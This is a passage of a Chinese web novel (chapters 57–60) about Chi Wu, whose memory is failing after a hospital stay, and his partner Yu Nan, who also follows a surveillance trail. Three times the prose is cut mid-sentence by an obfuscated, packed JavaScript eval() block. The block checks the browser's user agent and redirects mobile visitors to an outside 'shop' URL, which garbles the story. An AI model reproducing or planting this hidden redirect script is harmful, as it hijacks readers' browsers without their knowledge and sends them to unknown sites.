说话时他还不自觉地轻轻摇晃两人牵着的手,像在撒娇,尾音也往上挑。 于南看着他,感觉这样子的迟雾让他有种错觉。 就好像,两个人从来没分开过,从小一起互相哄诱着慢慢长大,沿着每条街道走过时迟雾都会这样紧贴着他,就这样,一点点,一天天,迟雾越来越依靠他,眼睛也只看着他。 真是个让人不想醒来的梦啊。 于南尝试抽出那只被牵着的手,但迟雾就像是难缠且生生不息的藤蔓,在察觉到他的意图后立马添增更多藤蔓来缠绕他,甚至越收越紧,根本不给他逃脱的权利与空间。 迟雾甚至连另一只手也用上,两只手一起紧攥着于南的手掌,视线却始终直勾勾地盯着他,还是用那种很可怜的眼神。 “牵手也不行了吗?” 于南止住收回手的动作,却看着他,没说话。 迟雾就在这时用另一只手往上攀,手指顺着袖缝钻进去,一点点地抓住他的手腕。冰凉的手指贴在皮肤上却像火一样,隐隐有着继续往上烧的趋势。 时间还早,但已经有不少商贩在街边,他们的视线四处胡乱飘着,寻找着潜在客人,最后又不约而同地聚焦在街边那两人身上。 迟雾对别人的视线很敏感,但此刻他就像感觉不到一样,接着把手往衣袖里钻。他感受着于南手臂因为冰冷的温度而生理性地战栗,说:“于南,我冷,让我暖暖。” 他甚至不明显地弓着背,让自己视线的高度一再降低,形成一种于南在居高临下地俯瞰他的错觉。 这是这种高低不平,越发凸显他的脆弱。 迟雾见于南无动于衷,又小心翼翼地贴近,将自己的脸往他的方向靠,而后像倾诉般小声地说:“医生说我不能受冻,你摸摸,我的脸现在好凉,我真的好冷啊。” 他分明将自己置于弱势,却又极具反差地缓慢逼近,这哪是惹人怜的小狗,分明是朵正在收敛花瓣的食人花。 偏生他的一切小心思都如此易察,几乎一眼便能看出,反倒让人无法躲避。 毕竟,他只是想和你靠得更近点儿。 贪心,但不过分。 于南倏地抬起另一只手,摸了摸迟雾的脸。 迟雾反倒没了进一步的逼压,就定在那儿,任由他摸,还低声说:“很凉吧。” “嗯。”于南的声音格外的轻,微不可闻,“确实很凉,暖暖就好了。” 但迟雾还是捕捉到了,他总是擅长这种事。 迟雾笑了下,弯着眼睛。 于南的手顺着脸颊往上摸,摸到他的眉眼。 分明还是那副样貌,记忆变了,整个人都变了。 也不知道在混乱的记忆里,在医院那段时间,受了多少苦,才能从学会这样,往一个没有过往羁绊、仅仅一见钟情的男朋友身上依赖,甚至学会了些惹人心疼的小花招。 因为太孤独了吗。 于南眸色很深,里头藏着没人懂的情绪,迟雾也不懂,他只觉得于南漂亮。 迟雾快速地偏过脸,亲了下于南的掌心。 做完,他就抽出塞进袖子里的那只手,而后牵着于南往前走。 步子很小。 他脸上带着笑。 但迟雾不知道该往哪走,完全是瞎带路。 于南也不拦着,就跟着他走到街头,然后招手拦了辆出租车,报了个地址。 他们回家。 在车上很暖和,但迟雾还是往于南怀里钻。 知道两人贴得近得不能再近,几乎要镶嵌到彼此皮肉里去,迟雾才心满意足地停了接着往里挤的小动作,开始抓着于南的手指玩。 他发现于南手上的茧子少了不少。 觉得可能是出了院,没了消毒水的整日洗礼,人都脱胎换骨了。 他又抬起脑袋看了眼车内后视镜,但怎么看也没看出来自己哪脱胎换骨了,虽然长头发了,但是好像胖了,皮肤也没那么白了。 迟雾泄气得别开眼,又重新低头鼓弄于南。 他没别的玩具,最爱干的事儿就是和于南腻歪,但今天的男朋友格外沉默,都不主动跟他讲话了,可能还是因为有外人在,所以害羞呢吧。 但这样的话,婚礼时候还怎么接吻啊。 迟雾觉得得给于南练练。 他悄悄看了眼于南,才轻咳了一声,提起点儿音量说:“你想去哪儿度蜜月啊。” 前头的司机听见这句,从后视镜里看了两人一眼,然后就发现这俩人的距离……..怎么好像热恋小情侣啊,靠得忒近了。 于南在后视镜里和司机对上视线。 司机眼皮一跳,连忙摆正身子好好看路,但耳朵明显竖起来了,跟监察局情报员一样。 于南回了句:“你想去哪儿?” 两人靠得太近,这句话几乎是贴在迟雾耳边说的。 迟雾觉得于南是想亲他的耳朵,但不好意思,心底记下了,先回了句:“等回家的。” 虽然他也不知道家在哪,但管他呢,不行就下车找个小胡同先亲亲再走。总不能有人像小尾巴一样跟着他俩吧。 于南以为他说的是回家再讨论那个话题,应了一声。 迟雾听见,笑容愈发得深。 果然于南就是想亲他。 害羞了呢。 真可爱。 迟雾用手指摸了摸于南的手背,像顺毛安抚一样,声音也随之夹杂了点儿笑意,“我们去远一点儿的地方吧,坐火车去。” 之前病房里有个和他差不多年纪的患者,不过那人在头发掉光前就受不了病房里的拘束和了无生趣,主动放弃了下一步的治疗。在出院前,他和迟雾这个短暂的病友进行了最后一次谈心。 迟雾那时候说不出话,像死了一样窝在病床上。他听着那人说起过往。 那是个很喜欢到处走的人。 过去漂泊不定,几乎把国内都走了个遍,而他去往远方的方式基本都是火车。 他说,火车上很乱,什么样的人都有,有时候睡觉都不踏实,还要防扒手小偷,但随着轨道起伏,沿途的路就像是看不尽一样。 迟雾没见过什么看不尽的东西。 他的过去几乎被囚在这一亩三分地里,明明长了腿,却哪都去不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14285374|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成,估摸着哪怕他长出副翅膀,也要被铁链钻进骨头给锁起来。 他想尝尝看不尽究竟是什么滋味,是不是当看不尽也走到尽头的时候,他就能看见世界的彼端。 到时候他和于南手牵着手,看着尽头的太阳,是不是就相当于他们贴在一起的心也一并随着风远扬,变成了月亮下头垫着的云。 然后慢慢的慢慢的,云又飘远,直到连绵的阴雨天降临,云变成水落回来。 他们永浴爱河,直到海水将全部河流吞没。 就这样,好幸福。 迟雾慢着语调地说:“然后我们待久一点,待上几年也没关系,等玩够了再回来。” 他们的时间有很多,多到可以慢慢来。 车过了个减速带,颠簸了下。于南的脸偏靠在迟雾的脑袋上,他怕压着迟雾头上的伤,又把脸抬起来,但迟雾却往后伸手把他的脑袋又压回去。 迟雾说:“贴近点儿,我冷。” 于南调整了下角度,尽量压在他没受伤的位置,“嗯”了一声。 如果有以后,就这样吧。 他的眼界很小,看不到更多的东西了。 车内暖风徐徐吹着,窗外飘雪。 如果一切都停止在此刻就好了。 司机颇有眼力见地打开音乐,但第一秒就蹦出来个极具撕裂感的土味DJ。 两道视线聚焦在他后脑勺。 司机慌乱地连切三首曲,终于切出来个抒情曲。 但前奏响了会儿。 倏地蹦出来句—— “分手快乐,祝你——” 司机彻底把曲停了。 这破曲库怎么这么找抽呢。 司机干笑两声打圆场:“最近叔分手了,听的有点儿躁郁了。” 迟雾没忍住笑出了声。 司机也跟着笑,笑得脸都僵了。 于南在后视镜里看着迟雾的脸,目光柔和。 下车后。 于南从怀里掏出钥匙,他把门打开后让迟雾先进去,自己站在门口扫视了圈。 然后从墙角不起眼的位置捡了几块石头,往门口的扔了几块,又从兜里摸出个微型监听器往石头堆里一混,再用雪往上盖了层。 做完一切,他一抬头,就看见迟雾站在门口和九月三面面相觑。 迟雾盯着九月三看了会儿,才扭头问于南:“我俩是不是走错了,屋里有狗。” “没走错。”于南进去,把门拉上。 迟雾却紧盯着他。 于南问:“怎么了?” 迟雾说:“没什么吗。” 他就低头开始脱鞋,但刚脱下一只,就陡然出声说:“你都没告诉过我你养狗了。” 于南动作一顿,还没想好怎么解释,就听迟雾又接着嘟囔:“我什么都告诉你了,连我的所有小秘密都说了,我身上哪点儿是你不清楚的?你居然连养狗都不舍得告诉我,我有点儿委屈。” 他脱好鞋之后就那么踩在地板上,低着头,开始左脚踩右脚,又右脚踩左脚,像打算把自己绊倒之后卡死在那儿以死叫冤一样。 九月三这狗没眼力见,还把前爪凑过去一起踩。 迟雾瞪了它一眼。 臭狗,笨狗,坏狗。 之后迟雾迟迟没等到于南的回应,就一点点转动视线,打算悄咪咪地看一眼,结果被于南逮了个正着。 于南不知何时靠近。 他勾了勾迟雾的小拇指,也小声说:“以后不是要出远门吗,家里总要有看家的,我昨天从隔壁偷来的狗,它看家挺厉害的,我还以为你会开心呢。” “迟雾。”于南慢吞吞地说:“我也好委屈啊。” 58.第 58 章 迟雾被他的手指这么一勾,就像被铁链彻底锁住了,忘了怎么动,只是嘴角压不住地往上扬。 半晌,他才蜷缩着手指,回应着于南的动作,说:“好吧,那我不委屈了。” 迟雾的脑袋就像是只有简单程序的机器,只要于南灌输代码,他根本无从考究这串代码的真实性,只知道一股脑儿地把代码串往程序里塞,然后把它们重新编造成爱心形状再输出。 于南都解释了,他肯定信啊。 迟雾又说:“那我哄哄你吧。” 于南看着他,没说话。 之后。 迟雾凑近了些,视线如同黏腻的汁水般一寸寸往下流,最后停留在于南的嘴唇上。他的呼吸也在放慢,这几乎是再明显不过的暗示。 他要亲他。 于南自然也发觉了,甚至迟雾的另一只手也在往他腰上摸,但不是像小时候那样隔着衣服缓慢地找着角度揉捏来缓解疼痛,而是直白却又笨拙的撩拨。 就在两人唇间距离迅速缩短时。 于南开口叫他:“迟雾。” 迟雾动作卡顿,原本要阖上的眼睛也再次睁开,他看着近在咫尺的人儿,舔了下嘴唇,轻声说:“现在已经没别人了。” 顿了一秒,他又扭头看脚边的九月三,凶着张脸说:“你躲一躲,我俩不是门,不要守着我俩。” 九月三盯他两秒,呲了下牙。 迟雾也冲着它呲牙,脸皱着,但学的不到位,看起来不怎么凶。 九月三被他这么一搞,反倒甩了下尾巴走了,但没走远,而是找了个角落接着蹲坐着,视线直勾勾地觑着迟雾。 它要死死盯着小鬼。 迟雾不重不轻地哼了一声。 于南很轻地笑了一声。 他抬起另一只空着的手,抓住迟雾的下巴,稍微用了些力,让他重新把头转过来看向自己。 于南的视线也往迟雾的嘴唇上飘,但只是简单扫了眼就收回来了,像是没什么接吻的打算。 他问:“迟雾,我是谁。” “于南。”迟雾对这种问题见怪不怪,以前于南从背后抱着他的时候也总爱问这种问题,就像是最幼稚的猜谜游戏,再笨的人也知道答案是什么,该是什么。他从善如流地答:“是迟雾的于南。” 往常他这么答,于南总是会沉默着抱他抱得更紧,仿佛下一秒就要分开一样,但这次于南却一反常态,接着抛出个问题:“如果我不是你的那个于南呢。” 迟雾怔了下,才说:“……..不许出轨。” 这下,不用于南再做任何反应,迟雾就抓住自己下巴上的那只手,挣脱桎梏,彻底压过去。 但这比起亲吻,更像是咬。 迟雾咬了下他的嘴唇,就那么轻轻一下,便再次拉开距离,重新把于南的手放到自己下巴上,还自觉回忆着之前掐着自己的力度,帮于南把手加重了些力气,感觉应该差不多了才心满意足地放下手,而后认真地看着于南,一字一顿道:“不许出轨。” 分明心底酸水快把整个人腐蚀掉,他却还尽力维持着平和,让自己看起来没那么咄咄逼人,接着说:“你是喜欢上别人了吗?还是你想改名?” 他又搜刮了番可能选项。 “或者是想让我改名?” 迟雾满脸严肃,配上他头上的绷带,怎么看都有些滑稽。 于南不知道此刻的自己算不算趁人之危,迟雾的记忆与他完全不对等,甚至世界也不对等,他喜欢的于南或许和此刻的自己是天壤之别,但迟雾的一字一句在耳朵里钻,顺着血液流进心脏,而后深扎进去。 求爱鸟越叫越欢。 他本来也不是好人。 趁人之危不过是遵从本心。 于南拦截住在自己衣服底下胡乱跑的那只手,将它抓出来后反别到迟雾的背后,而后用些力道将迟雾往自己的方向压过来。 迟雾被他抬着下巴,仰着头。 于南的舌头是苦的。 或许是抽烟所致,又或许是迟雾的心理作用。 迟雾不大用心,他咬着于南的舌头,思绪却在脑袋里左右横跳,开始思索到底是谁勾引了于南。 是路过的哪个他没注意到的人吗,还是医院里的某个病人,抑或是那个心甘情愿让于南偷狗的邻居。 思绪成了条没有端点的直线,迟雾左思右想也没想出来究竟能有谁比他更会喊委屈装可怜,也没想到除他之外还有谁能窃取于南的时间。 那就是要改名了? 于南想改什么名?好像没什么特别的了,迟雾觉得于南现在这个名字就特别好听,于南于南,怎么叫怎么顺嘴,怎么听怎么喜欢。 那是要他改名?不叫迟雾还能叫什么? 于雾?听着像愚物,不行不行,越叫越笨,以后太笨就不知道怎么贴心了。那叫什么…….. 于南察觉到他的不专心,直接抽离,拉开距离。 两人的嘴唇都是湿的。 舌头有些麻,呼吸也重了几分。 迟雾甚至没反应过来,还稍微张着嘴。 于南垂眼看着他,脸上没什么表情,甚至刻意放慢语速,每个字都无比清晰得下压着:“迟雾,你走神儿了。” 他格外平静,甚至手都在往回收。 迟雾瞬间回过神,当即往他嘴边凑,连亲了两下,像慌忙地啄食一样,甚至有下没对稳,亲到了唇角边缘处。 他抱住于南的腰,连忙解释:“我在想改什么名,没想到什么特别好的。” 迟雾的脑袋就像小弹簧,于南的每一句话落到上面都要被弹起来翻转几圈,然后蹦啊蹦啊蹦啊,就蹦到了莫名的位置上。 于南轻轻叹了口气,也抱住迟雾,缓声说了句:“没叫你改名,也不是我改名,我只是想说,我和你记忆中的于南,不是一个。” “怎么就不是一个了。”迟雾嘟囔着:“一样的声音,一样的长相,一样的骨头,一样的皮肉,抱人的时候一样都喜欢抱得紧紧的,世界上就这一个于南,别的都是冒牌货,自信点儿。” 顿了顿。迟雾声音降低不少,补充了句:“那能不能接着亲,我刚才走神儿了,这次认真点儿,体验感能略强一些。” 迟雾松开于南,牵着他的手往屋里走,走的越深,越觉得这房子不错。尤其是客厅那面空着的墙,正适合挂结婚照。 于南保准是暗示他呢。 迟雾心里的小九九不少,靠脑补都想好老了三天一擦结婚照的时候用什么颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286383|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的毛巾,用红的喜庆。 两人都没穿拖鞋,要是那双情侣拖鞋拿出来,迟雾保准还要细想一下拖鞋该怎么保养才能几十年不氧化。 迟雾觉得自己天生就该住在于南家里。 分明第一次来,感觉路都特熟悉,就像上天都在暗示他在这儿久居。 唯一的缺点就是床有点儿窄,但是刚好两个人抱着睡,贴在一起还暖和,不至于半夜被冻醒。 一个人睡有些孤单,两个人就刚刚好。 迟雾坐到床上,看了眼墙上的钟表,才六点出头,窗外的天甚至才亮了半边,还有些雾蒙蒙的暗淡。 他又重新看向站在自己面前的于南,掰着手指,合理地规划道:“时间还早着,还没到睡觉的点儿,我们亲一会儿嘴然后再抱一会儿,之后再一起洗个澡,然后再亲一会儿嘴,再抱——” “然后晚上十点钟再睡?”于南打断他。 迟雾认真想了下,才说:“十点有点儿早,好不容易不在医院住了,要睡个懒觉,下午起床那种,我俩凌晨再睡吧。” 迟雾算了下,“三点钟睡觉,睡十二个小时,下午三点起,刚好出去吃饭还不算饭点儿,人不是特别多。” “嘴和舌头都肿了就吃不下饭了。”于南贴心提醒道。 “对的。”迟雾点了点头,表示认可,而后说:“那就先去打针消炎针再吃饭。” 他主动且迫不及待地走进了个围挡着数百道墙壁的迷宫里,每道墙上都写着密密麻麻的“亲嘴”两个字,他在里头边盯着墙边往心里记,而后心脏过度负荷,还未实施行动就被蹂.躏得不成样子,狂跳不止,他不想走出去,还试图把于南往迷宫里拉。 总之,非亲不可。 迟雾晃了晃于南的胳膊,“好不好。” 于南干脆牵引着他那只手,往他脑袋上摸,“头上有伤,要早点儿休息,收拾一下就睡觉了。” 现在的迟雾格外难缠,他直接顺着于南的话把身子往下一垮,而后皱巴着脸,就说:“可是现在头好疼,睡不着。” 于南仔细看他的表情,分辨了两秒。 像是装疼。 但迟雾现在的记忆里受过的疼太多了,真疼的时候或许也不会表现得那么难以忍耐,而是就这样,露出一点点痛苦。 于南手往口袋里摸,把手机掏出来,按照记忆里那串号码拨出去。 那头很快就接通了。 于南率先开口:“李医生,迟雾的头疼,你的包扎没问题吗?我是不是需要再带他去医院一趟。” 还不等李医生答复,他又接着问:“这种疼痛会不会是记忆导致的,会持续很久吗。” 迟雾看着他的动作,迟钝地说:“于南,你怎么也认识李医生,姓李的医生好多啊。” 一瞬间。 于南察觉到什么,把手机拿远了些,问迟雾:“我们刚刚才见过李医生,她……..和你之前认识的李医生长得很像,你不记得了吗?” 迟雾歪了下脑袋,说:“刚刚?我们不是在偷狗吗?就那个丑丑的狗,虽然丑,但是看家本领很厉害,你还夸我了呢。” 于南表情一沉,重新将手机贴到耳边:“我们现在可以过去吗,迟雾的记忆又出现问题了。” 59.第 59 章 李医生听了没多大反应,“这是正常现象,他现在的情况还不稳定,而且没有药物辅助,记忆会时常出现些差错,你们现在过来也没有用,哪怕治疗,也只能进行些浅层次的,用处不大,回去后还会出现同样的情况。” “你需要做好准备,这三天什么情况都可能发生,甚至过度失忆也是可能的。”李医生的声音如此冷静,一字一句砸下来像冰锥般,让人直打颤,“他甚至可能会忘记一些常识,当然,这是极小概率事件,只是提个醒,不要怕。” 极小概率。 又是这样。 记忆混乱也是小概率,不还是发生了。 迟雾发现于南的表情不大好,便自觉没再出声,而是低头有一下没一下地摆弄于南的手指,又拉起来放在嘴前轻轻地咬了下,连个印子都没留下。 于南挂断电话后垂眼看着他,看不出情绪。 发现没了动静,迟雾才抬头看了他一眼。 “打完电话了?”迟雾问。 “嗯。”于南抬起手捧着迟雾的脸,左右仔细看了下,除了已经包扎好的,没有其他的伤口了,再仔细检查了下迟雾的瞳孔,也看不出什么要出问题的前兆。 迟雾的脑袋顺着他的力道左右摆动,“于南,我是小保龄球吗,晕晕的。” 听此,于南停了动作,沉默地看他两秒,才放下手,开始替他解外套,之后是里衣。 迟雾的视线和于南解扣子的手一起往下移,“要先一起洗澡吗?洗澡的时候多亲一会儿吧。” 他说话的节奏很快,夹杂着无法压抑的兴奋。 这还是他第一次和于南一起洗澡呢。 但迟雾发现,于南的手有点儿抖,第三颗扣子解了两次都没解开。扣子表面是涂油了吗,这么滑。 又解了一次。 第三次也没解开。 于南的手捏着扣子,停在那儿,他倏地出声问:“我们刚刚在干什么?” 迟雾思忖两秒,“刚刚?刚刚你在打电话,我在……..” “时间再往前一点儿。”于南打断他。 “再往前?”迟雾的脑袋好像也跟着于南的手一起僵在那儿,他们都变成了水泥筑造的硬雕塑,一个被封住了灵魂,一个被封住了躯壳,怎么也冲撞不出来。 刚刚干什么了? 哦,想起来了。 “我们要去打消炎针。”迟雾扬声说。 他看着于南,却看不大清眼前人的表情,但是能闻到味道,有点儿苦,迟雾又低头闻了闻自己身上的味道,也是苦的。 好难闻。 像是消毒水的味道。 确实该洗澡了。 “你在闻什么。”于南问。 迟雾说:“我闻到消毒水味儿了,好苦啊,我自己解衣服吧,我俩快点儿去洗澡,把味道给洗干净点儿。” 说着,他就上手去解扣子,但于南还没松开手,两人的手就这么搭在一起。 这时候迟雾才发现。 不是扣子抹了油,是于南的手真的在抖。 抖的好厉害啊。 迟雾驾轻就熟地把手往于南后背摸,找到脊椎骨的位置往下摁了摁,而后用了些力气开始揉,揉着揉着他又开始说:“看来还要多针灸几次,你手抖的好厉害,估计晚上身子又要发麻发疼了。” 揉得胳膊有些发酸了,迟雾才问了声:“好点儿了吗?” 于南却“嗯”了声,就把他搂进怀里。 迟雾觉得他俩今天虽然亲的很少,但是抱的频率还可以,没降低特别多,男朋友也没那么深沉,他还是忍不住想和他贴到一块儿去。 迟雾的手不老实,不做正事就开始往偏路上摸,往下落着落着就停在衣摆那儿,手指灵活地往衣服里钻。但他没干什么别的,就是把掌心贴着于南后腰那块儿,感受着掌心被凸出的骨头顶着,觉得安心不少。 消毒水味太讨厌了。 抱着于南就没那么讨厌了。 之后。 于南替他换了睡衣,但没洗澡,而是直接铺好被上了床。 进了被窝。 迟雾觉得自己被消毒水味熏得要窒息了,有些喘不过气来,才忍不住抓着被角抗议道:“我想洗澡,味道实在是太浓了,能不能晚一点儿睡觉。” 于南没说什么,直接把他从被窝里捞出来,然后领着进了浴室。但他没洗,而是在一旁守着迟雾,看着他洗。 迟雾被他那么盯着,还害羞了一阵。 哪有这样的,自己不想洗澡,还要看着他,让他害羞得想钻进地里。 迟雾干脆背对着于南洗,加快速度。 他挤了一大泵沐浴露,泡沫擦满全身,结果预想中的香味儿没出现,反倒被一股消毒水味儿给冲昏了头。 “……..于南,家里的沐浴露怎么是消毒水味儿的啊。” 迟雾擦了下脸上的水,凑近仔细看了眼沐浴露瓶子上写着的“蓝莓味芳香沐浴露”。 “这家沐浴露骗人啊,分明应该是医院特供消毒水味儿沐浴露。” 越洗身上的味道越浓,迟雾干脆冲了水,用浴巾草草擦了遍,就把睡衣重新套上。 他走到浴室门口,就发现于南又用那种他看不懂的眼神盯着他。 于南又问了遍:“迟雾,你刚刚干什么了。” 这次不用于南提醒,迟雾就自觉把时间往前推,说:“刚刚你把你唯一一朵玫瑰花送给我了。” 说罢,他还扭头四处找,“对了,花让我放哪儿了,是插花瓶里了吗。” 结果视线再次归正时,于南分明还站得那般笔挺,迟雾却莫名觉得他的背有些驼,甚至有几分颓唐。 为什么呢。 好奇怪呀。 明明送他花的时候于南看起来比他高很多,现在好像身高差距小了不少呢。 迟雾觉得被热气一冲,脑袋又晕乎乎的,成了飞不起来的死蛾子,只想一直无止境地往下坠落。他伸开手臂挂到于南的身上,将全身重量都压上去,与此同时,眼皮上如同被滴入了浑浊的粘合剂,视野脏兮兮的,带着擦不掉的泥印,他的眼睛眨动愈发缓慢,最后,闭上了。 他嘴里的话还没说完:“现在能亲一下……..” 水从头发上淌下来,在睡衣上浸湿一片。 慢慢的。 于南听见耳边平稳的呼吸。 呼吸很轻,甚至连淋浴头上还在滴着的两三滴水珠砸地声都能轻而易举地将其覆盖住,好像随时都会消散。 迟雾睡着了。 他还在无意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286384|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地呓语。 “我的……..小鱼……..我想你。” 于南将他抱回床上。 迟雾一进到被窝里,便开始蜷缩。 于南拿出吹风机,用最低档帮他把头发吹好。 吹了很久。 这段时间,迟雾的眉头越皱越紧,头上保护绷带的隔水网也被他蹭掉了。绷带的边角湿了些,水痕留在上面很不好看。 于南盯着迟雾看了会儿,之后走到客厅,开始用手机搜记忆混乱相关的内容,但有用的资料很少,大部分都是抽象的理论概念。 直到彻底搜不到可参考的资料,于南才回房间,但他一进去,就发现不对劲。 迟雾躺得很板正,一手搭在额头上,不像是在睡觉,反倒像是早就醒了,正在看着天花板发呆。 于南走近去看。 就发现,迟雾正视线笔直地盯着天花板,脸上有些红,像是发烧烧傻了导致的呆滞。 听见脚步声,迟雾转动了下眸子。 一行眼泪瞬间从眼眶里滑出,顺着太阳穴斜淌着落到头发里。 迟雾呆愣愣地看着他,看了好一会儿,眼泪无休止地流,他却像不会眨眼睛一样,成了被迫定格的木偶。 “迟雾。”于南把手摸到迟雾脸上。 温度有些高,但不至于发烧的程度。 迟雾却颤抖着抓住他那只手。 “于南,不要,再留我一个人了。” 眼泪打湿于南的掌心,擦过掌纹。 “不要,再,死掉了。” 迟雾一字字地说。 于南上了床,把他抱起来,让他靠在自己怀里,而后低声问:“梦见什么了。” 迟雾却缓慢摇摇头,“没做梦,我只是突然记起来了。” 于南了然,看来是记起来混乱记忆里他死了的那部分,那通来自警察的电话。 于南用手轻轻拍着迟雾的后背,他不会哄小孩儿,但是哄迟雾的时候总是知道该怎么做,因为迟雾以前是这么哄他的,一个小孩儿哄着另一个小孩儿。他轻声说:“好,不会再死掉了,长命百岁,平安顺遂。” 迟雾却只是淌着眼泪。 记忆纵横交错,真实的,虚假的,在这种时候好像都成了剔去骨头的软肉,放在无人关怀的阴冷处还好,一旦被人掀起了遮光布,被烈阳灼烤。他再用手去摸,一遍又一遍的,肉就烂了,连真切的那小部分都一同变得腐烂腥臭。 他此刻分明看见的是活着的、鲜活的于南,可想起的却是看见于南死亡那刻的恐惧和茫然,不属于此刻的情绪反而将他淹没。 于南哄着他,他该笑一下,可偏偏就是怎么也笑不出来。 他的鼻子好像也坏掉了。 他闻到的不再是消毒水味,而变成了血液的腥锈味。 可现在哪儿有血呢。 迟雾觉得他好像记起了很多东西。 上辈子、这辈子,迟家、孤儿院。 又好像一切都联系不到一起去。 他的记忆是张大网,上面布满漏洞。他努力地将它们拼凑缝补,却终究是亡羊补牢,他现在记起了,可能下一秒又要遗忘。 “于南。” “我在这儿。” “我想你,好久好久。” 60.第 60 章 迟雾醒着的时间与睡着的时间几乎半半开,但大多数时候,哪怕醒着,他的意识也不大清醒,反而像处在云里雾里一般迷茫着,只会安静地盯着于南发呆。 他说的话也很少,即使有什么举动,也只是伸手去抱着于南,而后力度越来越大,越抱越紧,仿佛成了天底下最没安全感的人儿。 迟雾从背后抱着于南的腰,下巴压着他肩头,眼睛要闭不闭地眯着。他很困很累,精神劲儿怎么也提不起来,却不想接着睡下去,只能就这么挺着。 于南偏了下头,两人的脸颊贴在一起。 他轻声问:“饿了吗。” 过了数秒,迟雾才温吞地说:“不饿。” 迟雾动作很小地蹭了蹭他的脸,“做你的事吧,不用担心我。” 房间里很暗,只开着盏弱光台灯。窗帘都拉得紧,整个房间成了密闭的巢穴,而一束冷白的光从手机屏幕投到于南的脸上。 像天使的小光圈,不过戴错了地方。 迟雾想。 思绪在脑袋里搅动,眼睫慢慢遮住瞳孔,迟雾彻底闭上了眼睛。 于南已经习惯他这副模样。 这两天的迟雾像老旧的机器,时不时卡顿,而后自动关机。 于南抬起下颚,在迟雾侧脸上亲了下,便抬起手将他的脑袋往自己的方向扶了扶,确定稳妥了后才收回手,重新看向手机屏幕。 屏幕上是一串卡顿的马赛克,缓冲了大概三四分钟,才跳出个被波纹填满的条框。 于南伸手在条框中央点击了下。 下一秒,模糊的声音夹杂着风声传来。 吱嘎。 是踩雪声。 再之后的声音很杂。 像是用什么东西在挖被冻僵的硬土,接着是阵布料磨蹭的窸窣声,再过十几秒,又出现了先前的踩雪声。 还有一道渐远的—— “迟雾在这儿,还有那个于南。” 声音被风撕扯得扭曲了音色,分辨不出究竟是谁,但足以确定这是个男人。 之后只剩持续的风声。 白光照在脸上稍显森冷,于南面无表情地摁灭手机,过了几分钟,他感觉腰间环着的手臂紧了两分,扭头看过去,肩上的人儿还在睡着。 于南动作很轻地把迟雾抱回床上,替他盖好被子,之后看了眼时间,穿上外套出去了。 九月三蹲在门口看着他。 于南俯身拍了拍它的脑袋,低声说:“看好家。”便关上门。 外头的雪还在下。 这场雪连绵不绝,下了两天一夜,路面已经彻底被厚雪覆盖,连过往车辆的车速都降了许多,行人更是少得出奇。 于南的视线在门口搜刮了圈。 脚印已经被雪盖住。 他寻找着音频里那挖土声响的来源。 片刻后。 于南在墙角看见了处几不可察的小洞,上头覆盖的雪明显比周围的雪矮一些,还要更薄,压得没那么实。 他走近,蹲下身,直接把手指压到那处,而后往下用力。手指慢慢地往雪里陷,很快就碰到了底。 是个很浅很窄的土洞。 那人不是来放东西,而是来取东西。 于南又挪动手指,顺着墙根,沿着那条线往两旁摸去,手指抽出来又压下去,看着被雪覆住隐隐泛白的指节,他神情平静地一遍遍重复着动作,仿佛感觉不到被冻得有些泛麻的痛感,半晌后,他才抬起眼。 都取走了啊。 于南站起身,垂着眼,细慢地擦去手指上挂着的碎雪,才从口袋里掏出手机。 他在屏幕上敲点了两下。 出现了张地图。 地图上有两个鲜红的圆点在缓慢移动。 一个朝北去,一个朝南去。 是两波人。 一个是迟家,还有一个会是谁呢。 李医生? 于南收起手机,往外走。 他打了辆车,报了个地址。 二十分钟后。 于南抵达一家自助式银行。 他进去取了些钱。 出来后,没急着走,而是走到墙角,站在那儿,点了根烟,开始观察街道上经过的每一辆车。 大概又过了十分钟。 一辆全黑奔驰车从面前疾驰而过。 于南掏出手机看了眼。 红点,找到了一个。 于南拨出去通电话,手机贴在耳边,他的视线紧追着消失在街尾那辆车的车牌,随着烟雾吞噬视野,耳边“嘟嘟”声被一道温和的男声代替。 “于南?”那头说:“资料我已经给你寄过去了,但一直没显示签收,我还以为是你有事耽搁了,你等我—— ” 对方以为是于南没收到资料才打电话来询问。 但于南却直接打断他,报了串车牌号。 那头的话一顿,转而传来敲击键盘的脆响,他动作很快,几乎只过了几秒便报出串详细信息。 “持车人李恩,该车最近一次出现是在三天前,从市中心开到郊区,那片郊区有不少墓,应当是去进行祭拜。李恩在迟家任职司机五年,工资还不错,活儿也清闲,日常接送迟家夫人,但也有少数时候会载别人。” 那头停了一秒,才接着问:“迟雾坐了这辆车?” “没有。”于南吸完最后一口烟,说了声:“麻烦了,你需要的信息我很快就整理好发给你。”便挂断了电话。 